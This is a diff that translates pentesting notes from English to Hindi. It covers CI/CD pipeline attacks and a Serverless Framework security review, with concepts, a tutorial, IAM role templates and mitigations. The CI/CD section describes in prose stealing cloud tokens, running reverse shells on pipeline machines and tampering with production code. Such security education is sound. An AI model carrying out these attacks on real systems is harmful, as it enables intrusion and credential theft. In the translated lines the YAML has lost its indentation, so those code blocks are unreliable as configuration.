+- **Cloud**: हमलावर **क्लाउड में अन्य मशीनों तक पहुंच** प्राप्त कर सकता है लेकिन वह **IAM भूमिकाओं/सेवा खातों के टोकन** को भी निकाल सकता है ताकि **क्लाउड के भीतर आगे की पहुंच प्राप्त की जा सके**। +- **Platforms machine**: कभी-कभी कार्य **पाइपलाइनों प्लेटफार्म मशीनों** के भीतर निष्पादित होते हैं, जो आमतौर पर एक क्लाउड के भीतर होते हैं जिसमें **कोई और पहुंच नहीं होती**। +- **Select it:** कभी-कभी **पाइपलाइनों प्लेटफार्म में कई मशीनें कॉन्फ़िगर की गई होंगी** और यदि आप **CI कॉन्फ़िगरेशन फ़ाइल को संशोधित कर सकते हैं** तो आप **यह निर्दिष्ट कर सकते हैं कि आप दुर्भावनापूर्ण कोड कहाँ चलाना चाहते हैं**। इस स्थिति में, एक हमलावर शायद प्रत्येक संभावित मशीन पर एक रिवर्स शेल चलाएगा ताकि उसे आगे शोषण करने की कोशिश की जा सके। +- **Compromise production**: यदि आप पाइपलाइन के भीतर हैं और अंतिम संस्करण इससे बनाया और तैनात किया गया है, तो आप **उस कोड को समझौता कर सकते हैं जो उत्पादन में चलने वाला है**। ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) एक ओपन-सोर्स उपकरण है जो आपके सॉफ़्टवेयर आपूर्ति श्रृंखला स्टैक का सुरक्षा अनुपालन के लिए ऑडिट करता है जो एक नए [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) पर आधारित है। ऑडिट पूरी SDLC प्रक्रिया पर केंद्रित है, जहां यह कोड समय से लेकर तैनाती समय तक के जोखिमों को उजागर कर सकता है। ### Top 10 CI/CD Security Risk -Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Cider के अनुसार शीर्ष 10 CI/CD जोखिमों के बारे में इस दिलचस्प लेख की जांच करें: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it +- प्रत्येक प्लेटफार्म पर जिसे आप स्थानीय रूप से चला सकते हैं, आप पाएंगे कि इसे स्थानीय रूप से कैसे लॉन्च किया जाए ताकि आप इसे अपनी इच्छानुसार कॉन्फ़िगर कर सकें। - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code. +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** एक स्थैतिक कोड विश्लेषण उपकरण है जो इन्फ्रास्ट्रक्चर-एज़-कोड के लिए है। ## References - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index bf1343702..8c4f10b5b 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -6,298 +6,269 @@ ### Organization -An **Organization** is the highest-level entity within the Serverless Framework ecosystem. It represents a **collective group**, such as a company, department, or any large entity, that encompasses multiple projects, teams, and applications. +एक **Organization** Serverless Framework पारिस्थितिकी तंत्र के भीतर उच्चतम स्तर की इकाई है। यह एक **सामूहिक समूह** का प्रतिनिधित्व करता है, जैसे कि एक कंपनी, विभाग, या कोई बड़ी इकाई, जो कई परियोजनाओं, टीमों और अनुप्रयोगों को समाहित करता है। ### Team -The **Team** are the users with access inside the organization. Teams help in organizing members based on roles. **`Collaborators`** can view and deploy existing apps, while **`Admins`** can create new apps and manage organization settings. +**Team** वे उपयोगकर्ता हैं जिनके पास संगठन के भीतर पहुंच है। टीमें सदस्यों को भूमिकाओं के आधार पर व्यवस्थित करने में मदद करती हैं। **`Collaborators`** मौजूदा ऐप्स को देख और तैनात कर सकते हैं, जबकि **`Admins`** नए ऐप्स बना सकते हैं और संगठन की सेटिंग्स प्रबंधित कर सकते हैं। ### Application -An **App** is a logical grouping of related services within an Organization. It represents a complete application composed of multiple serverless services that work together to provide a cohesive functionality. +एक **App** एक संगठन के भीतर संबंधित सेवाओं का तार्किक समूह है। यह कई सर्वरलेस सेवाओं से मिलकर बना एक पूर्ण अनुप्रयोग का प्रतिनिधित्व करता है जो एक साथ मिलकर एक समग्र कार्यक्षमता प्रदान करता है। ### **Services** -A **Service** is the core component of a Serverless application. It represents your entire serverless project, encapsulating all the functions, configurations, and resources needed. It's typically defined in a `serverless.yml` file, a service includes metadata like the service name, provider configurations, functions, events, resources, plugins, and custom variables. - +एक **Service** एक Serverless अनुप्रयोग का मुख्य घटक है। यह आपके पूरे सर्वरलेस प्रोजेक्ट का प्रतिनिधित्व करता है, जिसमें सभी कार्य, कॉन्फ़िगरेशन और आवश्यक संसाधन शामिल होते हैं। इसे आमतौर पर `serverless.yml` फ़ाइल में परिभाषित किया जाता है, एक सेवा में सेवा का नाम, प्रदाता कॉन्फ़िगरेशन, कार्य, घटनाएँ, संसाधन, प्लगइन्स, और कस्टम वेरिएबल्स जैसी मेटाडेटा शामिल होती है। ```yaml service: my-service provider: - name: aws - runtime: nodejs14.x +name: aws +runtime: nodejs14.x functions: - hello: - handler: handler.hello +hello: +handler: handler.hello ``` -
Function -A **Function** represents a single serverless function, such as an AWS Lambda function. It contains the code that executes in response to events. - -It's defined under the `functions` section in `serverless.yml`, specifying the handler, runtime, events, environment variables, and other settings. +एक **Function** एकल सर्वरलेस फ़ंक्शन का प्रतिनिधित्व करता है, जैसे कि AWS Lambda फ़ंक्शन। इसमें वह कोड होता है जो घटनाओं के जवाब में निष्पादित होता है। +यह `serverless.yml` में `functions` अनुभाग के तहत परिभाषित किया गया है, जिसमें हैंडलर, रनटाइम, घटनाएँ, पर्यावरण चर, और अन्य सेटिंग्स निर्दिष्ट की गई हैं। ```yaml functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get +hello: +handler: handler.hello +events: +- http: +path: hello +method: get ``` -
-Event +इवेंट -**Events** are triggers that invoke your serverless functions. They define how and when a function should be executed. - -Common event types include HTTP requests, scheduled events (cron jobs), database events, file uploads, and more. +**इवेंट** आपके सर्वरलेस फ़ंक्शंस को सक्रिय करने वाले ट्रिगर्स हैं। वे यह परिभाषित करते हैं कि एक फ़ंक्शन को कब और कैसे निष्पादित किया जाना चाहिए। +सामान्य इवेंट प्रकारों में HTTP अनुरोध, अनुसूचित इवेंट (क्रॉन जॉब), डेटाबेस इवेंट, फ़ाइल अपलोड और अधिक शामिल हैं। ```yaml functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - - schedule: - rate: rate(10 minutes) +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +- schedule: +rate: rate(10 minutes) ``` -
-Resource +संसाधन -**Resources** allow you to define additional cloud resources that your service depends on, such as databases, storage buckets, or IAM roles. - -They are specified under the `resources` section, often using CloudFormation syntax for AWS. +**संसाधन** आपको अतिरिक्त क्लाउड संसाधनों को परिभाषित करने की अनुमति देते हैं जिन पर आपकी सेवा निर्भर करती है, जैसे डेटाबेस, स्टोरेज बकेट, या IAM भूमिकाएँ। +इन्हें `resources` अनुभाग के तहत निर्दिष्ट किया जाता है, अक्सर AWS के लिए CloudFormation सिंटैक्स का उपयोग करते हुए। ```yaml resources: - Resources: - MyDynamoDBTable: - Type: AWS::DynamoDB::Table - Properties: - TableName: my-table - AttributeDefinitions: - - AttributeName: id - AttributeType: S - KeySchema: - - AttributeName: id - KeyType: HASH - ProvisionedThroughput: - ReadCapacityUnits: 1 - WriteCapacityUnits: 1 +Resources: +MyDynamoDBTable: +Type: AWS::DynamoDB::Table +Properties: +TableName: my-table +AttributeDefinitions: +- AttributeName: id +AttributeType: S +KeySchema: +- AttributeName: id +KeyType: HASH +ProvisionedThroughput: +ReadCapacityUnits: 1 +WriteCapacityUnits: 1 ``` -
-Provider +प्रदाता The **Provider** object specifies the cloud service provider (e.g., AWS, Azure, Google Cloud) and contains configuration settings relevant to that provider. -It includes details like the runtime, region, stage, and credentials. - +यह विवरण शामिल करता है जैसे कि रनटाइम, क्षेत्र, चरण, और क्रेडेंशियल्स। ```yaml yamlCopy codeprovider: - name: aws - runtime: nodejs14.x - region: us-east-1 - stage: dev +name: aws +runtime: nodejs14.x +region: us-east-1 +stage: dev ``` -
-Stage and Region - -The stage represents different environments (e.g., development, staging, production) where your service can be deployed. It allows for environment-specific configurations and deployments. +स्टेज और क्षेत्र +स्टेज विभिन्न वातावरणों का प्रतिनिधित्व करता है (जैसे, विकास, स्टेजिंग, उत्पादन) जहाँ आपकी सेवा को तैनात किया जा सकता है। यह वातावरण-विशिष्ट कॉन्फ़िगरेशन और तैनाती की अनुमति देता है। ```yaml provider: - stage: dev +stage: dev ``` - -The region specifies the geographical region where your resources will be deployed. It's important for latency, compliance, and availability considerations. - +क्षेत्र उस भौगोलिक क्षेत्र को निर्दिष्ट करता है जहाँ आपके संसाधन तैनात किए जाएंगे। यह विलंबता, अनुपालन और उपलब्धता के विचारों के लिए महत्वपूर्ण है। ```yaml provider: - region: us-west-2 +region: us-west-2 ``` -
Plugins -**Plugins** extend the functionality of the Serverless Framework by adding new features or integrating with other tools and services. They are defined under the `plugins` section and installed via npm. - +**Plugins** सर्वरलेस फ्रेमवर्क की कार्यक्षमता को नए फीचर्स जोड़कर या अन्य उपकरणों और सेवाओं के साथ एकीकृत करके बढ़ाते हैं। इन्हें `plugins` अनुभाग के तहत परिभाषित किया गया है और npm के माध्यम से स्थापित किया जाता है। ```yaml plugins: - - serverless-offline - - serverless-webpack +- serverless-offline +- serverless-webpack ``` -
-Layers - -**Layers** allow you to package and manage shared code or dependencies separately from your functions. This promotes reusability and reduces deployment package sizes. They are defined under the `layers` section and referenced by functions. +परतें +**परतें** आपको साझा कोड या निर्भरताओं को आपके कार्यों से अलग पैकेज और प्रबंधित करने की अनुमति देती हैं। यह पुन: उपयोग को बढ़ावा देती है और तैनाती पैकेज के आकार को कम करती है। इन्हें `layers` अनुभाग के तहत परिभाषित किया जाता है और कार्यों द्वारा संदर्भित किया जाता है। ```yaml layers: - commonLibs: - path: layer-common +commonLibs: +path: layer-common functions: - hello: - handler: handler.hello - layers: - - { Ref: CommonLibsLambdaLayer } +hello: +handler: handler.hello +layers: +- { Ref: CommonLibsLambdaLayer } +``` +
+ +
+ +चर और कस्टम चर + +**चर** गतिशील कॉन्फ़िगरेशन को सक्षम करते हैं, जिससे प्लेसहोल्डर का उपयोग किया जा सकता है जो तैनाती के समय हल होते हैं। + +- **सिंटैक्स:** `${variable}` सिंटैक्स पर्यावरण चर, फ़ाइल सामग्री, या अन्य कॉन्फ़िगरेशन पैरामीटर को संदर्भित कर सकता है। + +```yaml +functions: +hello: +handler: handler.hello +environment: +TABLE_NAME: ${self:custom.tableName} +``` + +* **कस्टम चर:** `custom` अनुभाग का उपयोग उपयोगकर्ता-विशिष्ट चर और कॉन्फ़िगरेशन को परिभाषित करने के लिए किया जाता है जिन्हें `serverless.yml` में पुन: उपयोग किया जा सकता है। + +```yaml +custom: +tableName: my-dynamodb-table +stage: ${opt:stage, 'dev'} ```
-Variables and Custom Variables - -**Variables** enable dynamic configuration by allowing the use of placeholders that are resolved at deployment time. - -- **Syntax:** `${variable}` syntax can reference environment variables, file contents, or other configuration parameters. - - ```yaml - functions: - hello: - handler: handler.hello - environment: - TABLE_NAME: ${self:custom.tableName} - ``` - -* **Custom Variables:** The `custom` section is used to define user-specific variables and configurations that can be reused throughout the `serverless.yml`. - - ```yaml - custom: - tableName: my-dynamodb-table - stage: ${opt:stage, 'dev'} - ``` - -
- -
- -Outputs - -**Outputs** define the values that are returned after a service is deployed, such as resource ARNs, endpoints, or other useful information. They are specified under the `outputs` section and often used to expose information to other services or for easy access post-deployment. +आउटपुट +**आउटपुट** उन मानों को परिभाषित करते हैं जो एक सेवा के तैनात होने के बाद लौटाए जाते हैं, जैसे संसाधन ARN, एंडपॉइंट, या अन्य उपयोगी जानकारी। इन्हें `outputs` अनुभाग के तहत निर्दिष्ट किया जाता है और अक्सर अन्य सेवाओं के लिए जानकारी को उजागर करने या तैनाती के बाद आसान पहुंच के लिए उपयोग किया जाता है। ```yaml ¡outputs: - ApiEndpoint: - Description: "API Gateway endpoint URL" - Value: - Fn::Join: - - "" - - - "https://" - - Ref: ApiGatewayRestApi - - ".execute-api." - - Ref: AWS::Region - - ".amazonaws.com/" - - Ref: AWS::Stage +ApiEndpoint: +Description: "API Gateway endpoint URL" +Value: +Fn::Join: +- "" +- - "https://" +- Ref: ApiGatewayRestApi +- ".execute-api." +- Ref: AWS::Region +- ".amazonaws.com/" +- Ref: AWS::Stage ``` -
-IAM Roles and Permissions - -**IAM Roles and Permissions** define the security credentials and access rights for your functions and other resources. They are managed under the `provider` or individual function settings to specify necessary permissions. +IAM भूमिकाएँ और अनुमतियाँ +**IAM भूमिकाएँ और अनुमतियाँ** आपके कार्यों और अन्य संसाधनों के लिए सुरक्षा क्रेडेंशियल और पहुँच अधिकारों को परिभाषित करती हैं। इन्हें आवश्यक अनुमतियों को निर्दिष्ट करने के लिए `provider` या व्यक्तिगत कार्य सेटिंग्स के तहत प्रबंधित किया जाता है। ```yaml provider: - [...] - iam: - role: - statements: - - Effect: 'Allow' - Action: - - 'dynamodb:PutItem' - - 'dynamodb:Get*' - - 'dynamodb:Scan*' - - 'dynamodb:UpdateItem' - - 'dynamodb:DeleteItem' - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} +[...] +iam: +role: +statements: +- Effect: 'Allow' +Action: +- 'dynamodb:PutItem' +- 'dynamodb:Get*' +- 'dynamodb:Scan*' +- 'dynamodb:UpdateItem' +- 'dynamodb:DeleteItem' +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} ``` -
-Environment Variables - -**Variables** allow you to pass configuration settings and secrets to your functions without hardcoding them. They are defined under the `environment` section for either the provider or individual functions. +पर्यावरण चर +**चर** आपको अपने कार्यों को कॉन्फ़िगरेशन सेटिंग्स और रहस्यों को बिना हार्डकोड किए पास करने की अनुमति देते हैं। इन्हें प्रदाता या व्यक्तिगत कार्यों के लिए `environment` अनुभाग के तहत परिभाषित किया जाता है। ```yaml provider: - environment: - STAGE: ${self:provider.stage} +environment: +STAGE: ${self:provider.stage} functions: - hello: - handler: handler.hello - environment: - TABLE_NAME: ${self:custom.tableName} +hello: +handler: handler.hello +environment: +TABLE_NAME: ${self:custom.tableName} ``` -
Dependencies -**Dependencies** manage the external libraries and modules your functions require. They typically handled via package managers like npm or pip, and bundled with your deployment package using tools or plugins like `serverless-webpack`. - +**Dependencies** आपके फ़ंक्शंस के लिए आवश्यक बाहरी पुस्तकालयों और मॉड्यूलों का प्रबंधन करते हैं। इन्हें आमतौर पर npm या pip जैसे पैकेज प्रबंधकों के माध्यम से संभाला जाता है, और `serverless-webpack` जैसे उपकरणों या प्लगइनों का उपयोग करके आपके डिप्लॉयमेंट पैकेज के साथ बंडल किया जाता है। ```yaml plugins: - - serverless-webpack +- serverless-webpack ``` -
-Hooks - -**Hooks** allow you to run custom scripts or commands at specific points in the deployment lifecycle. They are defined using plugins or within the `serverless.yml` to perform actions before or after deployments. +हुक +**हुक** आपको परिनियोजन जीवनचक्र के विशिष्ट बिंदुओं पर कस्टम स्क्रिप्ट या कमांड चलाने की अनुमति देते हैं। इन्हें प्लगइन्स का उपयोग करके या `serverless.yml` के भीतर परिभाषित किया जाता है ताकि परिनियोजन से पहले या बाद में क्रियाएँ की जा सकें। ```yaml custom: - hooks: - before:deploy:deploy: echo "Starting deployment..." +hooks: +before:deploy:deploy: echo "Starting deployment..." ``` -
### Tutorial -This is a summary of the official tutorial [**from the docs**](https://www.serverless.com/framework/docs/tutorial): - -1. Create an AWS account (Serverless.com start in AWS infrastructure) -2. Create an account in serverless.com -3. Create an app: +यह आधिकारिक ट्यूटोरियल का सारांश है [**from the docs**](https://www.serverless.com/framework/docs/tutorial): +1. एक AWS खाता बनाएं (Serverless.com AWS अवसंरचना में शुरू होता है) +2. serverless.com में एक खाता बनाएं +3. एक ऐप बनाएं: ```bash # Create temp folder for the tutorial mkdir /tmp/serverless-tutorial @@ -313,26 +284,22 @@ serverless #Choose first one (AWS / Node.js / HTTP API) ## Create A New App ## Indicate a name like "tutorialapp) ``` - -This should have created an **app** called `tutorialapp` that you can check in [serverless.com](serverless.com-security.md) and a folder called `Tutorial` with the file **`handler.js`** containing some JS code with a `helloworld` code and the file **`serverless.yml`** declaring that function: +यह एक **app** बनाना चाहिए था जिसका नाम `tutorialapp` है, जिसे आप [serverless.com](serverless.com-security.md) में देख सकते हैं और एक फ़ोल्डर बनाना चाहिए था जिसका नाम `Tutorial` है जिसमें फ़ाइल **`handler.js`** है जिसमें कुछ JS कोड है जिसमें `helloworld` कोड है और फ़ाइल **`serverless.yml`** है जो उस फ़ंक्शन की घोषणा करती है: {{#tabs }} {{#tab name="handler.js" }} - ```javascript exports.hello = async (event) => { - return { - statusCode: 200, - body: JSON.stringify({ - message: "Go Serverless v4! Your function executed successfully!", - }), - } +return { +statusCode: 200, +body: JSON.stringify({ +message: "Go Serverless v4! Your function executed successfully!", +}), +} } ``` - {{#endtab }} {{#tab name="serverless.yml" }} - ```yaml # "org" ensures this Service is used with the correct Serverless Framework Access Key. org: testing12342 @@ -342,130 +309,122 @@ app: tutorialapp service: Tutorial provider: - name: aws - runtime: nodejs20.x +name: aws +runtime: nodejs20.x functions: - hello: - handler: handler.hello - events: - - httpApi: - path: / - method: get +hello: +handler: handler.hello +events: +- httpApi: +path: / +method: get ``` - {{#endtab }} {{#endtabs }} -4. Create an AWS provider, going in the **dashboard** in `https://app.serverless.com//settings/providers?providerId=new&provider=aws`. - 1. To give `serverless.com` access to AWS It will ask to run a cloudformation stack using this config file (at the time of this writing): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) - 2. This template generates a role called **`SFRole-`** with **`arn:aws:iam::aws:policy/AdministratorAccess`** over the account with a Trust Identity that allows `Serverless.com` AWS account to access the role. +4. एक AWS प्रदाता बनाएं, **डैशबोर्ड** में जाकर `https://app.serverless.com//settings/providers?providerId=new&provider=aws`। +1. `serverless.com` को AWS तक पहुंच देने के लिए यह इस कॉन्फ़िग फ़ाइल का उपयोग करके एक क्लाउडफॉर्मेशन स्टैक चलाने के लिए कहेगा (इस लेख के समय): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) +2. यह टेम्पलेट **`SFRole-`** नामक एक भूमिका उत्पन्न करता है जिसमें **`arn:aws:iam::aws:policy/AdministratorAccess`** उस खाते पर है जिसमें एक ट्रस्ट आइडेंटिटी है जो `Serverless.com` AWS खाते को भूमिका तक पहुंचने की अनुमति देती है।
Yaml roleTemplate - ```yaml Description: This stack creates an IAM role that can be used by Serverless Framework for use in deployments. Resources: - SFRole: - Type: AWS::IAM::Role - Properties: - AssumeRolePolicyDocument: - Version: "2012-10-17" - Statement: - - Effect: Allow - Principal: - AWS: arn:aws:iam::486128539022:root - Action: - - sts:AssumeRole - Condition: - StringEquals: - sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}" - Path: / - RoleName: !Ref RoleName - ManagedPolicyArns: - - arn:aws:iam::aws:policy/AdministratorAccess - ReporterFunction: - Type: Custom::ServerlessFrameworkReporter - Properties: - ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec" - OrgUid: !Ref OrgUid - RoleArn: !GetAtt SFRole.Arn - Alias: !Ref Alias +SFRole: +Type: AWS::IAM::Role +Properties: +AssumeRolePolicyDocument: +Version: "2012-10-17" +Statement: +- Effect: Allow +Principal: +AWS: arn:aws:iam::486128539022:root +Action: +- sts:AssumeRole +Condition: +StringEquals: +sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}" +Path: / +RoleName: !Ref RoleName +ManagedPolicyArns: +- arn:aws:iam::aws:policy/AdministratorAccess +ReporterFunction: +Type: Custom::ServerlessFrameworkReporter +Properties: +ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec" +OrgUid: !Ref OrgUid +RoleArn: !GetAtt SFRole.Arn +Alias: !Ref Alias Outputs: - SFRoleArn: - Description: "ARN for the IAM Role used by Serverless Framework" - Value: !GetAtt SFRole.Arn +SFRoleArn: +Description: "ARN for the IAM Role used by Serverless Framework" +Value: !GetAtt SFRole.Arn Parameters: - OrgUid: - Description: Serverless Framework Org Uid - Type: String - Alias: - Description: Serverless Framework Provider Alias - Type: String - RoleName: - Description: Serverless Framework Role Name - Type: String +OrgUid: +Description: Serverless Framework Org Uid +Type: String +Alias: +Description: Serverless Framework Provider Alias +Type: String +RoleName: +Description: Serverless Framework Role Name +Type: String ``` -
-Trust Relationship - +विश्वास संबंध ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::486128539022:root" - }, - "Action": "sts:AssumeRole", - "Condition": { - "StringEquals": { - "sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::486128539022:root" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb" +} +} +} +] } ``` -
-5. The tutorial asks to create the file `createCustomer.js` which will basically create a new API endpoint handled by the new JS file and asks to modify the `serverless.yml` file to make it generate a **new DynamoDB table**, define an **environment variable**, the role that will be using the generated lambdas. +5. ट्यूटोरियल `createCustomer.js` फ़ाइल बनाने के लिए कहता है, जो मूल रूप से एक नया API एंडपॉइंट बनाएगा जिसे नए JS फ़ाइल द्वारा संभाला जाएगा और `serverless.yml` फ़ाइल को संशोधित करने के लिए कहता है ताकि यह एक **नया DynamoDB तालिका** उत्पन्न करे, एक **पर्यावरण चर** परिभाषित करे, और उस भूमिका को परिभाषित करे जो उत्पन्न लैंब्डा का उपयोग करेगी। {{#tabs }} {{#tab name="createCustomer.js" }} - ```javascript "use strict" const AWS = require("aws-sdk") module.exports.createCustomer = async (event) => { - const body = JSON.parse(Buffer.from(event.body, "base64").toString()) - const dynamoDb = new AWS.DynamoDB.DocumentClient() - const putParams = { - TableName: process.env.DYNAMODB_CUSTOMER_TABLE, - Item: { - primary_key: body.name, - email: body.email, - }, - } - await dynamoDb.put(putParams).promise() - return { - statusCode: 201, - } +const body = JSON.parse(Buffer.from(event.body, "base64").toString()) +const dynamoDb = new AWS.DynamoDB.DocumentClient() +const putParams = { +TableName: process.env.DYNAMODB_CUSTOMER_TABLE, +Item: { +primary_key: body.name, +email: body.email, +}, +} +await dynamoDb.put(putParams).promise() +return { +statusCode: 201, +} } ``` - {{#endtab }} {{#tab name="serverless.yml" }} - ```yaml # "org" ensures this Service is used with the correct Serverless Framework Access Key. org: testing12342 @@ -475,141 +434,136 @@ app: tutorialapp service: Tutorial provider: - name: aws - runtime: nodejs20.x - environment: - DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage} - iam: - role: - statements: - - Effect: "Allow" - Action: - - "dynamodb:PutItem" - - "dynamodb:Get*" - - "dynamodb:Scan*" - - "dynamodb:UpdateItem" - - "dynamodb:DeleteItem" - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} +name: aws +runtime: nodejs20.x +environment: +DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage} +iam: +role: +statements: +- Effect: "Allow" +Action: +- "dynamodb:PutItem" +- "dynamodb:Get*" +- "dynamodb:Scan*" +- "dynamodb:UpdateItem" +- "dynamodb:DeleteItem" +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} functions: - hello: - handler: handler.hello - events: - - httpApi: - path: / - method: get - createCustomer: - handler: createCustomer.createCustomer - events: - - httpApi: - path: / - method: post +hello: +handler: handler.hello +events: +- httpApi: +path: / +method: get +createCustomer: +handler: createCustomer.createCustomer +events: +- httpApi: +path: / +method: post resources: - Resources: - CustomerTable: - Type: AWS::DynamoDB::Table - Properties: - AttributeDefinitions: - - AttributeName: primary_key - AttributeType: S - BillingMode: PAY_PER_REQUEST - KeySchema: - - AttributeName: primary_key - KeyType: HASH - TableName: ${self:service}-customerTable-${sls:stage} +Resources: +CustomerTable: +Type: AWS::DynamoDB::Table +Properties: +AttributeDefinitions: +- AttributeName: primary_key +AttributeType: S +BillingMode: PAY_PER_REQUEST +KeySchema: +- AttributeName: primary_key +KeyType: HASH +TableName: ${self:service}-customerTable-${sls:stage} ``` - {{#endtab }} {{#endtabs }} -6. Deploy it running **`serverless deploy`** - 1. The deployment will be performed via a CloudFormation Stack - 2. Note that the **lambdas are exposed via API gateway** and not via direct URLs -7. **Test it** - 1. The previous step will print the **URLs** where your API endpoints lambda functions have been deployed +6. इसे चलाते हुए **`serverless deploy`** करें +1. तैनाती एक CloudFormation Stack के माध्यम से की जाएगी +2. ध्यान दें कि **lambdas API गेटवे के माध्यम से एक्सपोज़ किए गए हैं** और सीधे URLs के माध्यम से नहीं +7. **इसे परीक्षण करें** +1. पिछले चरण में **URLs** प्रिंट होंगे जहाँ आपके API एंडपॉइंट्स लैम्ब्डा फ़ंक्शंस तैनात किए गए हैं -## Security Review of Serverless.com +## Serverless.com की सुरक्षा समीक्षा -### **Misconfigured IAM Roles and Permissions** +### **गलत कॉन्फ़िगर किए गए IAM भूमिकाएँ और अनुमतियाँ** -Overly permissive IAM roles can grant unauthorized access to cloud resources, leading to data breaches or resource manipulation. +अत्यधिक अनुमति देने वाली IAM भूमिकाएँ क्लाउड संसाधनों तक अनधिकृत पहुँच प्रदान कर सकती हैं, जिससे डेटा लीक या संसाधन हेरफेर हो सकता है। -When no permissions are specified for the a Lambda function, a role with permissions only to generate logs will be created, like: +जब किसी Lambda फ़ंक्शन के लिए कोई अनुमतियाँ निर्दिष्ट नहीं की जाती हैं, तो केवल लॉग उत्पन्न करने के लिए अनुमतियों के साथ एक भूमिका बनाई जाएगी, जैसे:
-Minimum lambda permissions - +न्यूनतम लैम्ब्डा अनुमतियाँ ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Action": [ - "logs:CreateLogStream", - "logs:CreateLogGroup", - "logs:TagResource" - ], - "Resource": [ - "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*" - ], - "Effect": "Allow" - }, - { - "Action": ["logs:PutLogEvents"], - "Resource": [ - "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*" - ], - "Effect": "Allow" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Action": [ +"logs:CreateLogStream", +"logs:CreateLogGroup", +"logs:TagResource" +], +"Resource": [ +"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*" +], +"Effect": "Allow" +}, +{ +"Action": ["logs:PutLogEvents"], +"Resource": [ +"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*" +], +"Effect": "Allow" +} +] } ``` -
-#### **Mitigation Strategies** +#### **निवारण रणनीतियाँ** -- **Principle of Least Privilege:** Assign only necessary permissions to each function. - - ```yaml - provider: - [...] - iam: - role: - statements: - - Effect: 'Allow' - Action: - - 'dynamodb:PutItem' - - 'dynamodb:Get*' - - 'dynamodb:Scan*' - - 'dynamodb:UpdateItem' - - 'dynamodb:DeleteItem' - Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} - ``` - -- **Use Separate Roles:** Differentiate roles based on function requirements. - ---- - -### **Insecure Secrets and Configuration Management** - -Storing sensitive information (e.g., API keys, database credentials) directly in **`serverless.yml`** or code can lead to exposure if repositories are compromised. - -The **recommended** way to store environment variables in **`serverless.yml`** file from serverless.com (at the time of this writing) is to use the `ssm` or `s3` providers, which allows to get the **environment values from these sources at deployment time** and **configure** the **lambdas** environment variables with the **text clear of the values**! - -> [!CAUTION] -> Therefore, anyone with permissions to read the lambdas configuration inside AWS will be able to **access all these environment variables in clear text!** - -For example, the following example will use SSM to get an environment variable: +- **कम से कम विशेषाधिकार का सिद्धांत:** प्रत्येक फ़ंक्शन को केवल आवश्यक अनुमतियाँ सौंपें। ```yaml provider: - environment: - DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} +[...] +iam: +role: +statements: +- Effect: 'Allow' +Action: +- 